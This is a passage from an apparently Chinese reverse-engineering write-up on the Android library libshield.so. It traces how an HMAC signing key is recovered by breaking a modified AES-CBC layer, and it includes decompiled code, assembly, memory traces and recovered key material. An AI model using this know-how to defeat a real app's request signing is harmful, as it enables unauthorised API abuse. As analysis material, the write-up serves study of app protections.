^ v144); LODWORD(v26) = HIDWORD(v26); v148 = (v26 >> 17 ) + v146; v6 = v144 + * result; v149 = v148 + result[ 1 ]; HIDWORD(v26) = v147 + ((v148 | ~v144) ^ v146); LODWORD(v26) = HIDWORD(v26); v4 = v146 + result[ 3 ]; v3 = v148 + result[ 2 ]; v5 = v149 + (v26 >> 11 ); result[ 2 ] = v3; result[ 3 ] = v4; * result = v6; result[ 1 ] = v5; } while ( a3 ); |
}
return result;
}
五次断点的打印日志,拿到了message等数据,最后发现最终需要逆向的是hmac的秘钥key
HMAC(K,M) = H((outer_key ^opad) || H((inner_key ^ ipad) || M))
\\n\\n-----------------------------------------------------------------------------<
\\n
[11:46:11 483]x1=unidbg@0xbffff3a0, md5=ad3961e36853d36706ed11d40f2d0de0, hex=c09939459c1ac1550dfabde8604cd5579c5c68927a0ed2ded626c05bc0515f98c7b34ff058fcb9a8944e9bcd743a6afd9ad6bb5ac65bb201a7427f30819fd0ea363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636
size: 112
0000: C0 99 39 45 9C 1A C1 55 0D FA BD E8 60 4C D5 57 ..9E...U....`L.W
0010: 9C 5C 68 92 7A 0E D2 DE D6 26 C0 5B C0 51 5F 98 .\\\\h.z....&.[.Q_.
0020: C7 B3 4F F0 58 FC B9 A8 94 4E 9B CD 74 3A 6A FD ..O.X....N..t:j.
0030: 9A D6 BB 5A C6 5B B2 01 A7 42 7F 30 81 9F D0 EA ...Z.[...B.0....
0040: 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 6666666666666666
0050: 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 6666666666666666
0060: 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 6666666666666666
^-----------------------------------------------------------------------------^
参考hmacMd5.py的逻辑
key = \'yangruhua\'.encode()
padded_key = key.ljust(64, b\'\\\\x00\') # 填充至64字节
ipad = bytes([0x36] * 64)
key1 = bytes([a ^ b for a, b in zip(padded_key, ipad)]).hex()
= \'4f57585144435e435736363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636\'
上述内存应该存储的就是所谓的inner_key = key1
由于a xor a = 0
可以得到还原秘钥的办法
key1 xor 0x36 = key2 xor 0x5C = key
得到秘钥如下
F6 AF 0F 73 AA 2C F7 63 3B CC 8B DE 56 7A E3 61
AA 6A 5E A4 4C 38 E4 E8 E0 10 F6 6D F6 67 69 AE
F1 85 79 C6 6E CA 8F 9E A2 78 AD FB 42 0C 5C CB
AC E0 8D 6C F0 6D 84 37 91 74 49 06 B7 A9 E6 DC
trace(0xbffff3a0L,0xbffff3a0+64)
[13:50:04 455] Memory WRITE at 0xbffff3a0, data size = 8, data value = 0x55c11a9c453999c0, PC=RX@0x40053170[libshield.so]0x53170, LR=RX@0x40053158[libshield.so]0x53158
[13:50:04 455] Memory WRITE at 0xbffff3a8, data size = 8, data value = 0x57d54c60e8bdfa0d, PC=RX@0x40053170[libshield.so]0x53170, LR=RX@0x40053158[libshield.so]0x53158
[13:50:04 455] Memory WRITE at 0xbffff3b0, data size = 8, data value = 0xded20e7a92685c9c, PC=RX@0x40053170[libshield.so]0x53170, LR=RX@0x40053158[libshield.so]0x53158
[13:50:04 455] Memory WRITE at 0xbffff3b8, data size = 8, data value = 0x985f51c05bc026d6, PC=RX@0x40053170[libshield.so]0x53170, LR=RX@0x40053158[libshield.so]0x53158
[13:50:04 455] Memory WRITE at 0xbffff3c0, data size = 8, data value = 0xa8b9fc58f04fb3c7, PC=RX@0x40053184[libshield.so]0x53184, LR=RX@0x40053158[libshield.so]0x53158
[13:50:04 455] Memory WRITE at 0xbffff3c8, data size = 8, data value = 0xfd6a3a74cd9b4e94, PC=RX@0x40053184[libshield.so]0x53184, LR=RX@0x40053158[libshield.so]0x53158
[13:50:04 455] Memory WRITE at 0xbffff3d0, data size = 8, data value = 0x01b25bc65abbd69a, PC=RX@0x40053184[libshield.so]0x53184, LR=RX@0x40053158[libshield.so]0x53158
[13:50:04 455] Memory WRITE at 0xbffff3d8, data size = 8, data value = 0xead09f81307f42a7, PC=RX@0x40053184[libshield.so]0x53184, LR=RX@0x40053158[libshield.so]0x53158
[13:50:04 455] Memory WRITE at 0xbffff3e0, data size = 8, data value = 0x3636363636363636, PC=RX@0x40053198[libshield.so]0x53198, LR=RX@0x40053158[libshield.so]0x53158
[13:50:04 455] Memory WRITE at 0xbffff3e8, data size = 8, data value = 0x3636363636363636, PC=RX@0x40053198[libshield.so]0x53198, LR=RX@0x40053158[libshield.so]0x53158
[13:50:04 455] Memory WRITE at 0xbffff3f0, data size = 8, data value = 0x3636363636363636, PC=RX@0x40053198[libshield.so]0x53198, LR=RX@0x40053158[libshield.so]0x53158
IDA跟踪到函数sub_52F14,猜测这是hmac秘钥key处理(伪代码看不出来数据,使用汇编就能发现0x80与0x36等值)
\\n.text&ARM.extab:0000000000053160 MOVI V2.16B, #0x36 ; \'6\'
.text&ARM.extab:0000000000053164 MOV X1, X20
.text&ARM.extab:0000000000053168 EOR V0.16B, V0.16B, V2.16B // V0 = V0 ^ V2(原始密钥前16字节异或0x36)
.text&ARM.extab:000000000005316C EOR V1.16B, V1.16B, V2.16B // V1 = V1 ^ V2(原始密钥后续16字节异或0x36)
.text&ARM.extab:0000000000053170 STP Q0, Q1, [SP,#0xE0+var_E0] // [SP,#0xE0+var_E0] ; 将Q0和Q1(即V0和V1)存入栈中(保存处理后的inner_key)
.text&ARM.extab:0000000000053174 LDUR Q0, [X19,#0x44] // 从X19+0x44加载16字节到Q0(原始密钥块)
.text&ARM.extab:0000000000053178 LDUR Q1, [X19,#0x54] // 从X19+0x54加载16字节到Q1(原始密钥块)
.text&ARM.extab:000000000005317C EOR V0.16B, V0.16B, V2.16B // 异或0x36
.text&ARM.extab:0000000000053180 EOR V1.16B, V1.16B, V2.16B // 异或0x36
.text&ARM.extab:0000000000053184 STP Q0, Q1, [SP,#0xE0+var_C0] // 保存到栈(inner_key的32-64字节)
.text&ARM.extab:0000000000053188 LDUR Q0, [X19,#0x64] // ; 继续加载后续块(偏移0x64)
.text&ARM.extab:000000000005318C LDUR Q1, [X19,#0x74]
.text&ARM.extab:0000000000053190 EOR V0.16B, V0.16B, V2.16B
.text&ARM.extab:0000000000053194 EOR V1.16B, V1.16B, V2.16B
.text&ARM.extab:0000000000053198 STP Q0, Q1, [SP,#0xE0+var_A0] // 保存(inner_key的64-96字节)
.text&ARM.extab:000000000005319C LDUR Q0, [X19,#0x84] // ; 偏移0x84
.text&ARM.extab:00000000000531A0 LDUR Q1, [X19,#0x94]
.text&ARM.extab:00000000000531A4 EOR V0.16B, V0.16B, V2.16B
.text&ARM.extab:00000000000531A8 EOR V1.16B, V1.16B, V2.16B
.text&ARM.extab:00000000000531AC STP Q0, Q1, [SP,#0xE0+var_80] // ; 保存(inner_key的96-128字节)
.text&ARM.extab:00000000000531B0 LDR X0, [X19,#0x10]
.text&ARM.extab:00000000000531B4 BL sub_52DC4
根据上述汇编分析
密钥来源:X19 是 原始密钥结构体基地址,偏移量(如 0x44, 0x54)指向密钥的不同分块。
在该段代码附近打断点,使用mx19查看数据发现
mx19
\\n\\n-----------------------------------------------------------------------------<
\\n
[15:48:27 718]x19=RW@0x40466000, md5=cbb741bf4d20f389ff68dc00df2080ba, hex=405a10400000000080904540000000004090454000000000609045400000000040000000f6af0f73aa2cf7633bcc8bde567ae361aa6a5ea44c38e4e8e010f66df66769aef18579c66eca8f9ea278adfb420c5ccbace08d6cf06d843791744906b7a9e6dc000000000000000000000000
size: 112
0000: 40 5A 10 40 00 00 00 00 80 90 45 40 00 00 00 00 @Z.@......E@....
0010: 40 90 45 40 00 00 00 00 60 90 45 40 00 00 00 00 @.E@....`.E@....
0020: 40 00 00 00 F6 AF 0F 73 AA 2C F7 63 3B CC 8B DE @......s.,.c;...
0030: 56 7A E3 61 AA 6A 5E A4 4C 38 E4 E8 E0 10 F6 6D Vz.a.j^.L8.....m
0040: F6 67 69 AE F1 85 79 C6 6E CA 8F 9E A2 78 AD FB .gi...y.n....x..
0050: 42 0C 5C CB AC E0 8D 6C F0 6D 84 37 91 74 49 06 B.....l.m.7.tI.
0060: B7 A9 E6 DC 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-----------------------------------------------------------------------------^
1 | F6 AF 0F 73 AA 2C F7 63 3B CC 8B DE @......s.,.c;... |
0030: 56 7A E3 61 AA 6A 5E A4 4C 38 E4 E8 E0 10 F6 6D Vz.a.j^.L8.....m
0040: F6 67 69 AE F1 85 79 C6 6E CA 8F 9E A2 78 AD FB .gi...y.n....x..
0050: 42 0C 5C CB AC E0 8D 6C F0 6D 84 37 91 74 49 06 B.....l.m.7.tI.
0060: B7 A9 E6 DC
以上就是AES的秘钥,故继续跟踪这一段秘钥的生成即可。
trace(0x40466000, 0x40466000 + 64)
[15:53:44 653] Memory WRITE at 0x40466024, data size = 8, data value = 0x63f72caa730faff6, PC=RX@0x4028c220[libc.so]0x1c220, LR=RX@0x40053134[libshield.so]0x53134
[15:53:44 653] Memory WRITE at 0x4046602c, data size = 8, data value = 0x61e37a56de8bcc3b, PC=RX@0x4028c220[libc.so]0x1c220, LR=RX@0x40053134[libshield.so]0x53134
[15:53:44 653] Memory WRITE at 0x40466034, data size = 8, data value = 0xe8e4384ca45e6aaa, PC=RX@0x4028c224[libc.so]0x1c224, LR=RX@0x40053134[libshield.so]0x53134
[15:53:44 653] Memory WRITE at 0x4046603c, data size = 8, data value = 0xae6967f66df610e0, PC=RX@0x4028c224[libc.so]0x1c224, LR=RX@0x40053134[libshield.so]0x53134
[15:53:44 653] Memory WRITE at 0x40466044, data size = 8, data value = 0x9e8fca6ec67985f1, PC=RX@0x4028c228[libc.so]0x1c228, LR=RX@0x40053134[libshield.so]0x53134
[15:53:44 653] Memory WRITE at 0x4046604c, data size = 8, data value = 0xcb5c0c42fbad78a2, PC=RX@0x4028c228[libc.so]0x1c228, LR=RX@0x40053134[libshield.so]0x53134
[15:53:44 653] Memory WRITE at 0x40466054, data size = 8, data value = 0x37846df06c8de0ac, PC=RX@0x4028c22c[libc.so]0x1c22c, LR=RX@0x40053134[libshield.so]0x53134
[15:53:44 653] Memory WRITE at 0x4046605c, data size = 8, data value = 0xdce6a9b706497491, PC=RX@0x4028c22c[libc.so]0x1c22c, LR=RX@0x40053134[libshield.so]0x53134
根据IDA跳转到
.text&ARM.extab:000000000005312C MOV X1, X22 ; src
.text&ARM.extab:0000000000053130 BL memcpy
打印断点 如下依旧是key
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[15:57:39 091]x1=RW@0x40461000, md5=d6967120557c8ac1377392fb054562db, hex=f6af0f73aa2cf7633bcc8bde567ae361aa6a5ea44c38e4e8e010f66df66769aef18579c66eca8f9ea278adfb420c5ccbace08d6cf06d843791744906b7a9e6dc040000000000000000604640000000000000000000000000000000000000000000000000000000000000000000000000
size: 112
0000: F6 AF 0F 73 AA 2C F7 63 3B CC 8B DE 56 7A E3 61 ...s.,.c;...Vz.a
0010: AA 6A 5E A4 4C 38 E4 E8 E0 10 F6 6D F6 67 69 AE .j^.L8.....m.gi.
0020: F1 85 79 C6 6E CA 8F 9E A2 78 AD FB 42 0C 5C CB ..y.n....x..B..
0030: AC E0 8D 6C F0 6D 84 37 91 74 49 06 B7 A9 E6 DC ...l.m.7.tI.....
0040: 04 00 00 00 00 00 00 00 00 60 46 40 00 00 00 00 .........`F@....
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-----------------------------------------------------------------------------^
继续trace(0x40461000, 0x40461000 + 256)
[16:02:02 286] Memory WRITE at 0x40461000, data size = 8, data value = 0x63f72caa730faff6, PC=RX@0x4028c220[libc.so]0x1c220, LR=RX@0x4004af70[libshield.so]0x4af70
[16:02:02 286] Memory WRITE at 0x40461008, data size = 8, data value = 0x61e37a56de8bcc3b, PC=RX@0x4028c220[libc.so]0x1c220, LR=RX@0x4004af70[libshield.so]0x4af70
[16:02:02 287] Memory WRITE at 0x40461010, data size = 8, data value = 0xe8e4384ca45e6aaa, PC=RX@0x4028c224[libc.so]0x1c224, LR=RX@0x4004af70[libshield.so]0x4af70
[16:02:02 287] Memory WRITE at 0x40461018, data size = 8, data value = 0xae6967f66df610e0, PC=RX@0x4028c224[libc.so]0x1c224, LR=RX@0x4004af70[libshield.so]0x4af70
[16:02:02 287] Memory WRITE at 0x40461020, data size = 8, data value = 0x9e8fca6ec67985f1, PC=RX@0x4028c228[libc.so]0x1c228, LR=RX@0x4004af70[libshield.so]0x4af70
[16:02:02 287] Memory WRITE at 0x40461028, data size = 8, data value = 0xcb5c0c42fbad78a2, PC=RX@0x4028c228[libc.so]0x1c228, LR=RX@0x4004af70[libshield.so]0x4af70
[16:02:02 287] Memory WRITE at 0x40461030, data size = 8, data value = 0x37846df06c8de0ac, PC=RX@0x4028c22c[libc.so]0x1c22c, LR=RX@0x4004af70[libshield.so]0x4af70
[16:02:02 287] Memory WRITE at 0x40461038, data size = 8, data value = 0xdce6a9b706497491, PC=RX@0x4028c22c[libc.so]0x1c22c, LR=RX@0x4004af70[libshield.so]0x4af70
.text&ARM.extab:000000000004AF6C BL memcpy
.text&ARM.extab:000000000004AF70 LDR W8, [X19,#0x40]
继续打断点 0x4AF6C
mx1
\\n\\n-----------------------------------------------------------------------------<
\\n
[16:03:43 816]x1=RW@0x4045b290, md5=89a640863393cd5fdb4c97562f636096, hex=f6af0f73aa2cf7633bcc8bde567ae361aa6a5ea44c38e4e8e010f66df66769aef18579c66eca8f9ea278adfb420c5ccbace08d6cf06d843791744906b7a9e6dc010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
size: 112
0000: F6 AF 0F 73 AA 2C F7 63 3B CC 8B DE 56 7A E3 61 ...s.,.c;...Vz.a
0010: AA 6A 5E A4 4C 38 E4 E8 E0 10 F6 6D F6 67 69 AE .j^.L8.....m.gi.
0020: F1 85 79 C6 6E CA 8F 9E A2 78 AD FB 42 0C 5C CB ..y.n....x..B..
0030: AC E0 8D 6C F0 6D 84 37 91 74 49 06 B7 A9 E6 DC ...l.m.7.tI.....
0040: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-----------------------------------------------------------------------------^
trace(0x4045b290, 0x4045b290 + 256)
[16:04:45 501] Memory WRITE at 0x4045b290, data size = 8, data value = 0x63f72caa730faff6, PC=RX@0x4028c220[libc.so]0x1c220, LR=RX@0x4004b4e4[libshield.so]0x4b4e4
[16:04:45 502] Memory WRITE at 0x4045b298, data size = 8, data value = 0x61e37a56de8bcc3b, PC=RX@0x4028c220[libc.so]0x1c220, LR=RX@0x4004b4e4[libshield.so]0x4b4e4
[16:04:45 502] Memory WRITE at 0x4045b2a0, data size = 8, data value = 0xe8e4384ca45e6aaa, PC=RX@0x4028c224[libc.so]0x1c224, LR=RX@0x4004b4e4[libshield.so]0x4b4e4
[16:04:45 502] Memory WRITE at 0x4045b2a8, data size = 8, data value = 0xae6967f66df610e0, PC=RX@0x4028c224[libc.so]0x1c224, LR=RX@0x4004b4e4[libshield.so]0x4b4e4
[16:04:45 502] Memory WRITE at 0x4045b2b0, data size = 8, data value = 0x9e8fca6ec67985f1, PC=RX@0x4028c228[libc.so]0x1c228, LR=RX@0x4004b4e4[libshield.so]0x4b4e4
[16:04:45 502] Memory WRITE at 0x4045b2b8, data size = 8, data value = 0xcb5c0c42fbad78a2, PC=RX@0x4028c228[libc.so]0x1c228, LR=RX@0x4004b4e4[libshield.so]0x4b4e4
[16:04:45 502] Memory WRITE at 0x4045b2c0, data size = 8, data value = 0x37846df06c8de0ac, PC=RX@0x4028c22c[libc.so]0x1c22c, LR=RX@0x4004b4e4[libshield.so]0x4b4e4
[16:04:45 502] Memory WRITE at 0x4045b2c8, data size = 8, data value = 0xdce6a9b706497491, PC=RX@0x4028c22c[libc.so]0x1c22c, LR=RX@0x4004b4e4[libshield.so]0x4b4e4
.text&ARM.extab:000000000004B4E0 BL memcpy
.text&ARM.extab:000000000004B4E4 MOV X0, X21 ; ptr
继续打断点 0x4B4E0
\\nmx1
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[16:05:46 928]x1=RW@0x4045e010, md5=78094efa10b35cbdb33ac8ea058b505f, hex=f6af0f73aa2cf7633bcc8bde567ae361aa6a5ea44c38e4e8e010f66df66769aef18579c66eca8f9ea278adfb420c5ccbace08d6cf06d843791744906b7a9e6dc000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
size: 112
0000: F6 AF 0F 73 AA 2C F7 63 3B CC 8B DE 56 7A E3 61 ...s.,.c;...Vz.a
0010: AA 6A 5E A4 4C 38 E4 E8 E0 10 F6 6D F6 67 69 AE .j^.L8.....m.gi.
0020: F1 85 79 C6 6E CA 8F 9E A2 78 AD FB 42 0C 5C CB ..y.n....x..B..
0030: AC E0 8D 6C F0 6D 84 37 91 74 49 06 B7 A9 E6 DC ...l.m.7.tI.....
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-----------------------------------------------------------------------------^
trace(0x4045e010, 0x4045e010 + 256) // 这里就到了关键位置0x52A6C
[16:07:06 876] Memory WRITE at 0x4045e010, data size = 8, data value = 0x63f72caa730faff6, PC=RX@0x40052a6c[libshield.so]0x52a6c, LR=RX@0x40052998[libshield.so]0x52998
[16:07:06 877] Memory WRITE at 0x4045e018, data size = 8, data value = 0x61e37a56de8bcc3b, PC=RX@0x40052a6c[libshield.so]0x52a6c, LR=RX@0x40052998[libshield.so]0x52998
[16:07:06 877] Memory WRITE at 0x4045e020, data size = 8, data value = 0xe8e4384ca45e6aaa, PC=RX@0x40052a6c[libshield.so]0x52a6c, LR=RX@0x40052998[libshield.so]0x52998
[16:07:06 877] Memory WRITE at 0x4045e028, data size = 8, data value = 0xae6967f66df610e0, PC=RX@0x40052a6c[libshield.so]0x52a6c, LR=RX@0x40052998[libshield.so]0x52998
[16:07:06 877] Memory WRITE at 0x4045e030, data size = 8, data value = 0x9e8fca6ec67985f1, PC=RX@0x40052a6c[libshield.so]0x52a6c, LR=RX@0x40052998[libshield.so]0x52998
[16:07:06 877] Memory WRITE at 0x4045e038, data size = 8, data value = 0xcb5c0c42fbad78a2, PC=RX@0x40052a6c[libshield.so]0x52a6c, LR=RX@0x40052998[libshield.so]0x52998
[16:07:06 877] Memory WRITE at 0x4045e040, data size = 8, data value = 0x37846df06c8de0ac, PC=RX@0x40052a6c[libshield.so]0x52a6c, LR=RX@0x40052998[libshield.so]0x52998
[16:07:06 877] Memory WRITE at 0x4045e048, data size = 8, data value = 0xdce6a9b706497491, PC=RX@0x40052a6c[libshield.so]0x52a6c, LR=RX@0x40052998[libshield.so]0x52998
###########################################
初始轮密钥加(AddRoundKey)
数据块与首轮轮密钥进行按位异或(XOR)。
循环轮(共进行Nr−1轮,Nr由密钥长度决定)
每轮执行:
字节替换(SubBytes):通过S盒对每个字节进行非线性替换。
行移位(ShiftRows):每行循环左移(第0行不移,第1行移1位,第2行移2位,第3行移3位)。
列混淆(MixColumns):对每列进行矩阵乘法,实现线性混合变换。
轮密钥加(AddRoundKey):与当前轮密钥异或。
最终轮(省略列混淆)
执行:
SubBytes → ShiftRows → AddRoundKey。
注:有限域计算定义
1.GF(2^8 = 256) -> 包含2^8=256个元素的有限域,每个元素对应一个8次多项式,
字节0x57(01010111) 按照1的位数拆分 2^6 + 2^3 + 2^2 + 2^1 +2^0 = x^6 + x^3 + x^2 + x^1 +x^0
2.有限域运算规则
-加法
规则:多项式系数在模2下相加(xor 异或)
示例:(x^3 + x + 1) + (x^2 + x) = x^3 + x^2 + 1 => 1011 ^ 110 = 1101 => 0x0B ^ 0x06 = 0x0D
对应字节运算 0x0B ^ 0x06 = 0x0D(0b00001011 ^ 0b00000110 = 0b00001101)。
-乘法(多项式乘法后模不可约多项式)
步骤:
将两个多项式相乘。
对结果进行 模运算,使用固定的 不可约多项式(AES中为 ( x^8 + x^4 + x^3 + x + 1 ),十六进制 0x11B)。
最终结果仍为一个8次多项式(即一个字节)。
示例:
步骤1:将字节转换为多项式
0x57 → 01010111 → ( x^6 + x^4 + x^2 + x + 1 )。
0x02 → 00000010 → ( x )。
步骤2:多项式相乘
[
(x^6 + x^4 + x^2 + x + 1) \\\\cdot x = x^7 + x^5 + x^3 + x^2 + x
]
对应二进制:10101110(十六进制 0xAE)。
步骤3:模不可约多项式
不可约多项式:( x^8 + x^4 + x^3 + x + 1 )(对应 0x11B,二进制 100011011)。
判断是否需要模运算:
若乘积的最高次项为 ( x^8 ) 或更高,则需模运算。
本例乘积为 ( x^7 ),未超过 ( x^8 ),因此 无需模运算。
结果仍为 0xAE。
步骤4:特殊情况(乘积超过8次项)
假设乘积为 ( x^8 ),则模运算过程如下:
[
x^8 \\\\mod (x^8 + x^4 + x^3 + x + 1) = x^4 + x^3 + x + 1
]
对应十六进制 0x1B(即 00011011)。
#############################################
// 猜测这里是最后一轮 轮秘钥加
do {
// 1. 从地址 v8 + v19
读取128位(16字节)数据到 v20
v20 = *(_OWORD *)(v8 + v19);
1 2 3 4 5 6 7 8 9 10 11 | / / 2. 对两个 128 位数据块进行异或操作,结果写入 `v9 + v19` 地址 * (int8x16_t * )(v9 + v19) = veorq_s8( = = = = = = = > 关键位置 * (int8x16_t * )(a5 + v19), / / 从 `a5 + v19` 读取 128 位数据 (中间态存储区) * (int8x16_t * )&v36[v19] / / 从 `v36 + v19` 读取 128 位数据 (v36是扩展后的轮秘钥数组,v19按轮次选择对应轮秘钥) ); / / 可能是为了 覆盖旧State 或 初始化下一轮State(如CBC模式需要前一个密文块)。 / / 3. 将 v20(来自 `v8 + v19` 的原始数据)写入 `a5 + v19` 地址 * (_OWORD * )(a5 + v19) = v20; / / 4. 偏移量增加 16 字节(处理下一个 128 位块) v19 + = 16LL ; |
} while ((-v34 & 0xFFFFFFFFFFFFFFF0LL) != v19); // 循环直到处理完所有对齐块
\\naes的值是从这里被生成的 veorq_s8是ARM NEON指令集的内联函数(代码直接被复制,无调用开销,适合简单高频操作) 所以这里直接看汇编更清晰
.text&ARM.extab:0000000000052A5C LDR Q0, [X24,X10] Q0 <- [X24,X10]
.text&ARM.extab:0000000000052A60 LDR Q1, [X19,X10] Q1 <- [X19,X10]
.text&ARM.extab:0000000000052A64 LDR Q2, [X20,X10] Q2 <- [X20,X10]
.text&ARM.extab:0000000000052A68 EOR V0.16B, V1.16B, V0.16B // Q1和Q0的每个字节(16字节)按异或存入Q0
.text&ARM.extab:0000000000052A6C STR Q0, [X21,X10] Q0 -> [X21,X10] //保存Q0 -> 中间态
.text&ARM.extab:0000000000052A70 STR Q2, [X19,X10] Q2 -> [X19,X10] // 将Q2的值覆盖已经被使用了的Q1值[X19,X10] -> 读数据提供下一次计算
对关键位置进行断点打印
num===================================1
hexString19===3101323404020861667A666607176639
hexString24===3501323404020861667A666607176639
num===================================2
hexString19===EE1755BFE9D97ECE5D3215AF401FA9E7
hexString24===18B85ACC43F589AD66FE9E7116654A86
num===================================3
hexString19===1782CBF447A784694A35EF2AF11CBEE5
hexString24===BDE895500B9F6081AA251947077BD74B
num===================================4
hexString19===41C7660DA56E2C7B7A06C9DCB060C802
hexString24===B0421FCBCBA4A3E5D87E6427F26C94C9
num===================================5
hexString19===5BAD0F98EC194491D4721E361895AFD4
hexString24===F74D82F41C74C0A645065730AF3C4908
num===================================6
hexString19===80BE29617AE4A27FB46CD2D9E4A4200A
hexString24===90AE39716AF4B26FA47CC2C9F4B4301A
发现进行了6次轮秘钥加 与标准的AES的10次不同
轮次X19(前一个密文块) X24(当前明文块) 异或结果(AES输入) 特殊处理(输出) 更新后的X19(下一轮的前密文)
13101323404020861667A666607176639 (IV)3501323404020861667A66660717663904000000000000000000000000000000f6af0f73aa2cf7633bcc8bde567ae361EE1755BFE9D97ECE5D3215AF401FA9E7
2EE1755BFE9D97ECE5D3215AF401FA9E7 18B85ACC43F589AD66FE9E7116654A86F6AF0F73AA2CF7633BCC8BDE567AE361AA6A5EA44C38E4E8E010F66DF66769AE1782CBF447A784694A35EF2AF11CBEE5
31782CBF447A784694A35EF2AF11CBEE5 BDE895500B9F6081AA251947077BD74BAA6A5EA44C38E4E8E010F66DF66769AEF18579C66ECA8F9EA278ADFB420C5CCB41C7660DA56E2C7B7A06C9DCB060C802
441C7660DA56E2C7B7A06C9DCB060C802 B0421FCBCBA4A3E5D87E6427F26C94C9F18579C66ECA8F9EA278ADFB420C5CCBACE08D6CF06D843791744906B7A9E6DC5BAD0F98EC194491D4721E361895AFD4
55BAD0F98EC194491D4721E361895AFD4 F74D82F41C74C0A645065730AF3C4908ACE08D6CF06D843791744906B7A9E6DC1010101010101010101010101010101080BE29617AE4A27FB46CD2D9E4A4200A
680BE29617AE4A27FB46CD2D9E4A4200A 90AE39716AF4B26FA47CC2C9F4B4301A10101010101010101010101010101010填充结束标志
由此看来与标准的AES最后直接异或得到的state有区别
print(\'0x0\'+hex(0x3101323404020861667A666607176639^0x3501323404020861667A666607176639)[2:])
print(hex(0xEE1755BFE9D97ECE5D3215AF401FA9E7^0x18B85ACC43F589AD66FE9E7116654A86))
print(hex(0x1782CBF447A784694A35EF2AF11CBEE5^0xBDE895500B9F6081AA251947077BD74B))
print(hex(0x41C7660DA56E2C7B7A06C9DCB060C802^0xB0421FCBCBA4A3E5D87E6427F26C94C9))
print(hex(0x5BAD0F98EC194491D4721E361895AFD4^0xF74D82F41C74C0A645065730AF3C4908))
print(hex(0x80BE29617AE4A27FB46CD2D9E4A4200A^0x90AE39716AF4B26FA47CC2C9F4B4301A))
网上有文章说是魔改了AES,来看下findcrypt能不能找到
\\n魔改了秘钥扩展部分,改了Rcon,s盒,
验证aes的加密方式(CBC)和填充方式(pkcs7)
JNI日志找到这一段
get key:main_hmac
JNIEnv->CallObjectMethodV(android.content.SharedPreferences@6ddf90b0, getString(\\"main_hmac\\", \\"\\") => \\"7hdVv+nZfs5dMhWvQB+p5xeCy/RHp4RpSjXvKvEcvuVBx2YNpW4se3oGydywYMgCW60PmOwZRJHUch42GJWv1IC+KWF65KJ/tGzS2eSkIAqsWEna1k4ASav5AQAzgw0F\\") was called from RX@0x40013bf4[libshield.so]0x13bf4
7hdVv+nZfs5dMhWvQB+p5xeCy/RHp4RpSjXvKvEcvuVBx2YNpW4se3oGydywYMgCW60PmOwZRJHUch42GJWv1IC+KWF65KJ/tGzS2eSkIAqsWEna1k4ASav5AQAzgw0F
From Base64 -> To Hex
得到如下值 与打断点处的位运算计算hmac_key值有关系
ee1755bfe9d97ece5d3215af401fa9e7
1782cbf447a784694a35ef2af11cbee5
41c7660da56e2c7b7a06c9dcb060c802
5bad0f98ec194491d4721e361895afd4
80be29617ae4a27fb46cd2d9e4a4200a
ac5849dad64e0049abf9010033830d05
之前以为上一段异或运算的汇编是用来加密的,现在发现这是一个解密流程,得到的我们需要的key是被解密后的结果
执行的是AES-CBC模式的解密流程
其中Q0加载的是当前密文块解密后的中间数据
Q1是前一个密文块(IV)
EOR指令将解密后的数据与IV异或,得到原始明文(符合CBC特征)
STR Q2更新IV为当前密文块,为下一轮解密做准备
(AES最后一轮秘钥加用的异或,异或同样的值就能解密)
16进制的结果是0x60个字节,这一个就是加密的数据了,可以发现前16字节和第二轮的hexString19===EE1755BFE9D97ECE5D3215AF401FA9E7对的上,
后面的错开排列也对的上,这意思也很明显,上一组的密文异或一个东西得到解密的\\"明文\\",这个明文打个引号,
那不就是CBC模式吗?解密出的\\"明文\\"是最初的明文异或iv得到的,最初的iv是0x3101323404020861667A666607176639,
后续的iv用上一轮加密的结果,CBC模式可以防止替换某段密文来达到替换明文的效果.这里其实看汇编也能看懂
,X19是iv,X24是明文异或iv的结果,他两异或就是最原始明文
这个是AES解密,密文知道了,iv知道了,key是39923e3c-6c6e-3891-945a-fd03c4796eb3,36字节,
但是AES没有36字节的key,只有16,24和32字节的,跟踪下这个key的使用,
跟踪jni日志中的GetStringUtfChars,0x17d10,一路往下跟,来到秘钥编排的位置sub_51884,
上面我们说hook需要在callinitialize这个native函数执行前调用,原因就是在callinitialize函数已经完成了解密,
如果在最终的callintercept函数调用就好hook不上.
JNIEnv->GetStringUtfChars(\\"39923e3c-6c6e-3891-945a-fd03c4796eb3\\") was called from RX@0x40017d10[libshield.so]0x17d10
JNIEnv->NewGlobalRef(\\"platform=android&build=8320689&deviceId=39923e3c-6c6e-3891-945a-fd03c4796eb3\\") was called from RX@0x400be1dc[libshield.so]0xbe1dc
这里可以看到只使用了前16字节,填充方式也确认了,基本的都确认了,但是这个是魔改AES,魔改了秘钥扩展部分,改了Rcon,s盒,既然是魔改AES,
听说魔改程度很大,不建议对着代码标准AES来改,因为这个AES采用的是八个大的合并表,所以直接扣代码会比跟简单些,主要就是下断,跟汇编,
之前zh的x-96用的也魔改的表合并AES,那篇有讲过这么扣代码
************************************** 正式开始跟踪解密key **************************************
JNIEnv->GetStringUtfChars(\\"39923e3c-6c6e-3891-945a-fd03c4796eb3\\") was called from RX@0x40017d10[libshield.so]0x17d10
一、
__int64 __fastcall sub_17BE0(__int64 *a1, __int64 a2, __int64 a3)
{
v15[27] = *(_QWORD )(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
if ( !a2 ) // 检查a2(可能为Java对象或输入数据)是否为空
{
LABEL_5:
result = 0LL;
